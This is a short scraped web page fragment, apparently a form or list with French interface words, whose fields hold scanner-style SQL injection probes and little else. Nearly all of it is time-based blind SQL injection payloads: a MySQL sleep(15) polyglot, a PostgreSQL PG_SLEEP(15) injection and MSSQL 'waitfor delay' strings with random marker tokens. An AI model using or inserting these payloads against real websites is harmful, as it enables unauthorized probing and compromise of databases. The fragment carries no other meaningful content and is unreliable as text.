MR.  

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Monter
Descendre
  Mr.Ezy43VtU\' OR 904=(SELECT 904 FROM PG_SLEEP(15))-- Mr.6KEz1nSF\'; waitfor delay \'0:0:15\' -- Mr.-1 waitfor delay \'0:0:15\' --